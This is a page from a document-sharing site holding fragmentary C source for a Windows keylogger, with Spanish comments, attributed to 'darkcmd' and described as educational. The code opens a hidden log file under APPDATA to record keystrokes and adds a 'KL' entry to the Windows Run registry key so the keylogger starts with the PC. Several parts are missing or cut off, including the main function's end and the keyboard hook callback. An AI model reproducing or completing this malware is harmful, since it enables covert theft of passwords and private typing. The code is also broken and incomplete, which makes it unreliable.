Académique Documents
Professionnel Documents
Culture Documents
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
FILE *f;
HHOOK hookLLKeyboard;
/**
* Funcion Main, se encarga de inicializar e instalar el Hook que controlara la
instancia del teclado
* Adem�s abrir� el archivo en el que se realizara el Log de las teclas pulsadas
* trabajar� con la API de Windows para ser capaz de lidiar con los distintos
mensajes
*/
int WINAPI WinMain(HINSTANCE hinstExe, HINSTANCE, PTSTR pszCmdLine, int){
MSG msg;
if(testKey()==1){//checkeamos que tengamos la aplicacion en el registro
addKey();
}
time_t tiempo = time(0);
struct tm *tlocal = localtime(&tiempo);
char output[128];
strftime(output,128,"%d/%m/%y %H:%M:%S",tlocal);
char* path;
path = getenv("APPDATA");
strcat(path,"//log.txt");
f = fopen(path,"ab");
if(f == NULL){
exit(0);
}
/**
* Funcion ToAsciiConverter, A partir de las teclas apretadas decide que caracter
ASCII
* se debe guardar en el fichero, es un conversor de vkCode a ASCII.
**/
/**
* La funcion testKey se encarga de checkear si una clave se encuentra o no en el
registro
* en caso de que no este se devuelve un 0, en caso de que la clave si que exista se
devuelve un 1
**/
int testKey(){
HKEY hKey;
DWORD buffersize = 1024;
char* lpData = new char[buffersize];
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
",NULL,KEY_READ,&hKey);
long result = RegQueryValueEx(hKey,"KL",NULL,NULL,(LPBYTE) lpData,&buffersize);
if(result != 0){
return 0;
}else{
return 1;
}
}
/**
* la funci�n addKey se encarga de a�adir la clave del Keylogger al registro de
windows para que este se inicie
* junto con el PC, esta funcion siempre devuelve un S_OK por si fuese necesario
**/
LRESULT addKey(){
system("reg add
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v KL /d
C:\\KeyLogger.exe");
return S_OK;
}
/**
* Este c�digo ha sido escrito por darkcmd
* No hay ning�n problema en que uses el c�digo o partes de �l en tu propio
* desarrollo o proyecto, pero si lo hace por favor menciona la autor�a de este
* o pon un link al blog de donde lo sacaste
*
* Este c�digo es enteramente de naturaleza formativa por tanto, es posible que
algunas
* decisiones de codificaci�n no sean las m�s �ptimas pues no es la velocidad uno de
los
* objetivos de este programa.
**/